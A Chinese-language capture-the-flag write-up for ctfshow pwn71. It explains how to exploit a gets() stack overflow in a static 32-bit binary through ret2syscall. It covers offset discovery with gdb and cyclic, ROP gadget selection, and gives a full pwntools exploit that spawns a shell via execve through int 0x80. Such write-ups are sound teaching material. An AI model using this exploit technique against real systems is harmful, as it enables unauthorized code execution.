题目本身并不难,但是坑还是有的,我们重点关注gdb的使用

eg ctfshow pwn71(32位ret2sycall)

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("===============CTFshow--PWN===============");
puts("Try to use ret2syscall!");
gets(&v4);
return 0;
}

本题是静态编译,函数很多,自然想到ret2syscall。在v4存在明显栈溢出漏洞

这里的坑是ida给的这个0x64的偏移实际上是不准的,需要我们用gdb算一下

用gdb计算偏移量

我们先不需要写exp,直接gdb程序即可

先用cyclic 200生成一堆垃圾数,复制下来,或者自己手动打一堆aaaaaaa……也可以

在gets函数前随便找个地方下断点,然后按r,走到gets输入的地方,把那一堆垃圾数据粘贴并发送过去

然后用这个指令计算偏移

cyclic -l <EIP/RIP的值>

得到偏移量为112

灵活使用gadget

下一步是用ROPgetgad查找pop寄存器,但是我们不可能每次都正好找到完美符合条件的

这题我们是没法找到单独的pop ecx的,只有一段和ebx连在一起的gadget,不过也可以用,把二者合起来就是了

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug',terminal = ['tmux', 'split-window', '-h'])

#elf = ELF('./pwn71')

io = remote('pwn.challenge.ctf.show',28251)

#io=process('./pwn71')

#io=gdb.debug("./pwn71",'b*0x08048E93')

pop_eax = 0x080bb196
pop_edx = 0x0806eb6a
pop_ecx_ebx = 0x0806eb91
int_0x80 = 0x08049421
bin_sh_addr = 0x080BE408

#offset = cyclic(200)
offset = 112
payload = offset*b'a'
payload = flat([
offset * b'a',
0,
pop_edx,
0,
pop_ecx_ebx,
bin_sh_addr,
pop_eax, 0xb,
int_0x80
])

io.sendlineafter("Try to use ret2syscall!", payload)

io.interactive()

用gdb观察程序流程

可以看到栈上已经被覆盖了参数

我们重点看汇编窗口

可以看到四个寄存器已经按照我们payload写的顺序那样,依次被执行对应的操作,

这里的payload的顺序不重要,因为int80会聪明的自己按照顺序去寻找对应的寄存器,所以只需要保证寄存器的内容正确即可

我们走到int80,输入i r查看所有寄存器,发现每个寄存器都完美的执行了我们想要的操作

我们也可以在main函数ret的时候用下面的指令查看

x/10wx $esp

意思是查看(x)栈顶指针($esp)位置开始的 10 个(10)单位的数据,每个单位是 4 字节(w),并用十六进制(x)显示出来

我们继续按c走完,成功得到shell

使用gdb的注意事项

1.gets函数是在接收到换行符才会停止输入,所以我们必须用sendline去发payload,如果用send会导致发送完payload后程序还在等待我们输入,直接卡死

2.我们通过exp去打开gdb时要按c走到断点,千万不能按r,因为程序已经运行了,如果再按一遍r相当于重开了一个新的程序

3.我们手动输入时,一值n到gets,这时候gdb窗口会换行,这就在提示我们需要输入了,但我们千万不要在gdb窗口输入,而应该去程序执行的窗口输入,否则gdb会卡死